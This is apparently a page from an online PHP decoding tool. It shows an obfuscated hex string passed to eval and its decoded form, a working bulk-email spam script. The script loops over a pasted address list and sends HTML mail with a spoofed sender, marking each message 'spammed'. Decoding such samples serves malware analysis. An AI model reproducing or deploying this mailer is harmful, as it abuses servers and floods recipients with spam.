Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("\x69\x66\x20\x28\x24\x61\x63\x74\x69\x6f\x6e\x29\x7b\x20\x69\x66\x20\x28\x21\..

Decoded Output download

<?php @eval("if ($action){ if (!$from || !$subject || !$message || !$emaillist){ print "Please complete all fields before sending your message."; exit; } $nse=array(); $allemails = explode("\xa", $emaillist); $numemails = count($allemails); if(!empty($_POST['wait']) && $_POST['wait'] > 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); }else{ set_time_limit($numemails*3600); } if(!empty($smv)){ $smvn+=$smv; $tmn=$numemails/$smv+1; }else{ $tmn=1; } for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = str_replace(" ", "", $to); $message = str_replace("#EM#", $to, $message); $subject = str_replace("#EM#", $to, $subject); flush(); $header = "From: $realname <$from>\xa"; $header .= "MIME-Version: 1.0\xa"; $header .= "Content-Type: text/html\xa"; if ($x==0 && !empty($tem)) { if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } } if($x==$smvn && !empty($_POST['smv'])){ if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } $smvn+=$smv; } print "$to ....... "; $msent = @mail($to, $subject, $message, $header); $xx = $x+1; $txtspamed = "spammed"; if(!$msent){ $txtspamed = "error"; $ns+=1; $nse[$ns]=$to; } print "$xx / $numemails .......  $txtspamed<br>"; flush(); if(!empty($wait)&& $x<$numemails-1){ sleep($wait); } } } }"); ?>

Did this file decode correctly?

Original Code

<?php @eval("\x69\x66\x20\x28\x24\x61\x63\x74\x69\x6f\x6e\x29\x7b\x20\x69\x66\x20\x28\x21\x24\x66\x72\x6f\x6d\x20\x7c\x7c\x20\x21\x24\x73\x75\x62\x6a\x65\x63\x74\x20\x7c\x7c\x20\x21\x24\x6d\x65\x73\x73\x61\x67\x65\x20\x7c\x7c\x20\x21\x24\x65\x6d\x61\x69\x6c\x6c\x69\x73\x74\x29\x7b\x20\x70\x72\x69\x6e\x74\x20\x22\x50\x6c\x65\x61\x73\x65\x20\x63\x6f\x6d\x70\x6c\x65\x74\x65\x20\x61\x6c\x6c\x20\x66\x69\x65\x6c\x64\x73\x20\x62\x65\x66\x6f\x72\x65\x20\x73\x65\x6e\x64\x69\x6e\x67\x20\x79\x6f\x75\x72\x20\x6d\x65\x73\x73\x61\x67\x65\x2e\x22\x3b\x20\x65\x78\x69\x74\x3b\x20\x7d\x20\x24\x6e\x73\x65\x3d\x61\x72\x72\x61\x79\x28\x29\x3b\x20\x24\x61\x6c\x6c\x65\x6d\x61\x69\x6c\x73\x20\x3d\x20\x65\x78\x70\x6c\x6f\x64\x65\x28\x22\xa\x22\x2c\x20\x24\x65\x6d\x61\x69\x6c\x6c\x69\x73\x74\x29\x3b\x20\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x20\x3d\x20\x63\x6f\x75\x6e\x74\x28\x24\x61\x6c\x6c\x65\x6d\x61\x69\x6c\x73\x29\x3b\x20\x69\x66\x28\x21\x65\x6d\x70\x74\x79\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x77\x61\x69\x74\x27\x5d\x29\x20\x26\x26\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x77\x61\x69\x74\x27\x5d\x20\x3e\x20\x30\x29\x7b\x20\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x69\x6e\x74\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x77\x61\x69\x74\x27\x5d\x29\x2a\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x2a\x33\x36\x30\x30\x29\x3b\x20\x7d\x65\x6c\x73\x65\x7b\x20\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x2a\x33\x36\x30\x30\x29\x3b\x20\x7d\x20\x69\x66\x28\x21\x65\x6d\x70\x74\x79\x28\x24\x73\x6d\x76\x29\x29\x7b\x20\x24\x73\x6d\x76\x6e\x2b\x3d\x24\x73\x6d\x76\x3b\x20\x24\x74\x6d\x6e\x3d\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x2f\x24\x73\x6d\x76\x2b\x31\x3b\x20\x7d\x65\x6c\x73\x65\x7b\x20\x24\x74\x6d\x6e\x3d\x31\x3b\x20\x7d\x20\x66\x6f\x72\x28\x24\x78\x3d\x30\x3b\x20\x24\x78\x3c\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x3b\x20\x24\x78\x2b\x2b\x29\x7b\x20\x24\x74\x6f\x20\x3d\x20\x24\x61\x6c\x6c\x65\x6d\x61\x69\x6c\x73\x5b\x24\x78\x5d\x3b\x20\x69\x66\x20\x28\x24\x74\x6f\x29\x7b\x20\x24\x74\x6f\x20\x3d\x20\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x20\x22\x2c\x20\x22\x22\x2c\x20\x24\x74\x6f\x29\x3b\x20\x24\x6d\x65\x73\x73\x61\x67\x65\x20\x3d\x20\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x23\x45\x4d\x23\x22\x2c\x20\x24\x74\x6f\x2c\x20\x24\x6d\x65\x73\x73\x61\x67\x65\x29\x3b\x20\x24\x73\x75\x62\x6a\x65\x63\x74\x20\x3d\x20\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x23\x45\x4d\x23\x22\x2c\x20\x24\x74\x6f\x2c\x20\x24\x73\x75\x62\x6a\x65\x63\x74\x29\x3b\x20\x66\x6c\x75\x73\x68\x28\x29\x3b\x20\x24\x68\x65\x61\x64\x65\x72\x20\x3d\x20\x22\x46\x72\x6f\x6d\x3a\x20\x24\x72\x65\x61\x6c\x6e\x61\x6d\x65\x20\x3c\x24\x66\x72\x6f\x6d\x3e\xa\x22\x3b\x20\x24\x68\x65\x61\x64\x65\x72\x20\x2e\x3d\x20\x22\x4d\x49\x4d\x45\x2d\x56\x65\x72\x73\x69\x6f\x6e\x3a\x20\x31\x2e\x30\xa\x22\x3b\x20\x24\x68\x65\x61\x64\x65\x72\x20\x2e\x3d\x20\x22\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\xa\x22\x3b\x20\x69\x66\x20\x28\x24\x78\x3d\x3d\x30\x20\x26\x26\x20\x21\x65\x6d\x70\x74\x79\x28\x24\x74\x65\x6d\x29\x29\x20\x7b\x20\x69\x66\x28\x21\x40\x6d\x61\x69\x6c\x28\x24\x74\x65\x6d\x2c\x24\x73\x75\x62\x6a\x65\x63\x74\x2c\x24\x6d\x65\x73\x73\x61\x67\x65\x2c\x24\x68\x65\x61\x64\x65\x72\x29\x29\x7b\x20\x70\x72\x69\x6e\x74\x28\x27\x54\x68\x65\x20\x74\x65\x73\x74\x20\x50\x6f\x73\x74\x20\x77\x61\x73\x20\x6e\x6f\x74\x20\x53\x75\x62\x6d\x69\x74\x74\x65\x64\x2e\x3c\x62\x72\x20\x2f\x3e\x27\x29\x3b\x20\x24\x74\x6d\x6e\x73\x2b\x3d\x31\x3b\x20\x7d\x65\x6c\x73\x65\x7b\x20\x70\x72\x69\x6e\x74\x28\x27\x59\x6f\x75\x72\x20\x4d\x65\x73\x73\x61\x67\x65\x20\x77\x61\x73\x20\x53\x65\x6e\x74\x20\x54\x65\x73\x74\x2e\x3c\x62\x72\x20\x2f\x3e\x27\x29\x3b\x20\x24\x74\x6d\x73\x2b\x3d\x31\x3b\x20\x7d\x20\x7d\x20\x69\x66\x28\x24\x78\x3d\x3d\x24\x73\x6d\x76\x6e\x20\x26\x26\x20\x21\x65\x6d\x70\x74\x79\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x6d\x76\x27\x5d\x29\x29\x7b\x20\x69\x66\x28\x21\x40\x6d\x61\x69\x6c\x28\x24\x74\x65\x6d\x2c\x24\x73\x75\x62\x6a\x65\x63\x74\x2c\x24\x6d\x65\x73\x73\x61\x67\x65\x2c\x24\x68\x65\x61\x64\x65\x72\x29\x29\x7b\x20\x70\x72\x69\x6e\x74\x28\x27\x54\x68\x65\x20\x74\x65\x73\x74\x20\x50\x6f\x73\x74\x20\x77\x61\x73\x20\x6e\x6f\x74\x20\x53\x75\x62\x6d\x69\x74\x74\x65\x64\x2e\x3c\x62\x72\x20\x2f\x3e\x27\x29\x3b\x20\x24\x74\x6d\x6e\x73\x2b\x3d\x31\x3b\x20\x7d\x65\x6c\x73\x65\x7b\x20\x70\x72\x69\x6e\x74\x28\x27\x59\x6f\x75\x72\x20\x4d\x65\x73\x73\x61\x67\x65\x20\x77\x61\x73\x20\x53\x65\x6e\x74\x20\x54\x65\x73\x74\x2e\x3c\x62\x72\x20\x2f\x3e\x27\x29\x3b\x20\x24\x74\x6d\x73\x2b\x3d\x31\x3b\x20\x7d\x20\x24\x73\x6d\x76\x6e\x2b\x3d\x24\x73\x6d\x76\x3b\x20\x7d\x20\x70\x72\x69\x6e\x74\x20\x22\x24\x74\x6f\x20\x2e\x2e\x2e\x2e\x2e\x2e\x2e\x20\x22\x3b\x20\x24\x6d\x73\x65\x6e\x74\x20\x3d\x20\x40\x6d\x61\x69\x6c\x28\x24\x74\x6f\x2c\x20\x24\x73\x75\x62\x6a\x65\x63\x74\x2c\x20\x24\x6d\x65\x73\x73\x61\x67\x65\x2c\x20\x24\x68\x65\x61\x64\x65\x72\x29\x3b\x20\x24\x78\x78\x20\x3d\x20\x24\x78\x2b\x31\x3b\x20\x24\x74\x78\x74\x73\x70\x61\x6d\x65\x64\x20\x3d\x20\x22\x73\x70\x61\x6d\x6d\x65\x64\x22\x3b\x20\x69\x66\x28\x21\x24\x6d\x73\x65\x6e\x74\x29\x7b\x20\x24\x74\x78\x74\x73\x70\x61\x6d\x65\x64\x20\x3d\x20\x22\x65\x72\x72\x6f\x72\x22\x3b\x20\x24\x6e\x73\x2b\x3d\x31\x3b\x20\x24\x6e\x73\x65\x5b\x24\x6e\x73\x5d\x3d\x24\x74\x6f\x3b\x20\x7d\x20\x70\x72\x69\x6e\x74\x20\x22\x24\x78\x78\x20\x2f\x20\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x20\x2e\x2e\x2e\x2e\x2e\x2e\x2e\x20\x20\x24\x74\x78\x74\x73\x70\x61\x6d\x65\x64\x3c\x62\x72\x3e\x22\x3b\x20\x66\x6c\x75\x73\x68\x28\x29\x3b\x20\x69\x66\x28\x21\x65\x6d\x70\x74\x79\x28\x24\x77\x61\x69\x74\x29\x26\x26\x20\x24\x78\x3c\x24\x6e\x75\x6d\x65\x6d\x61\x69\x6c\x73\x2d\x31\x29\x7b\x20\x73\x6c\x65\x65\x70\x28\x24\x77\x61\x69\x74\x29\x3b\x20\x7d\x20\x7d\x20\x7d\x20\x7d"); ?>

Function Calls

None

Variables

None

Stats

MD5 9c99c90be74fba30c87626f8bb300751
Eval Count 0
Decode Time 41 ms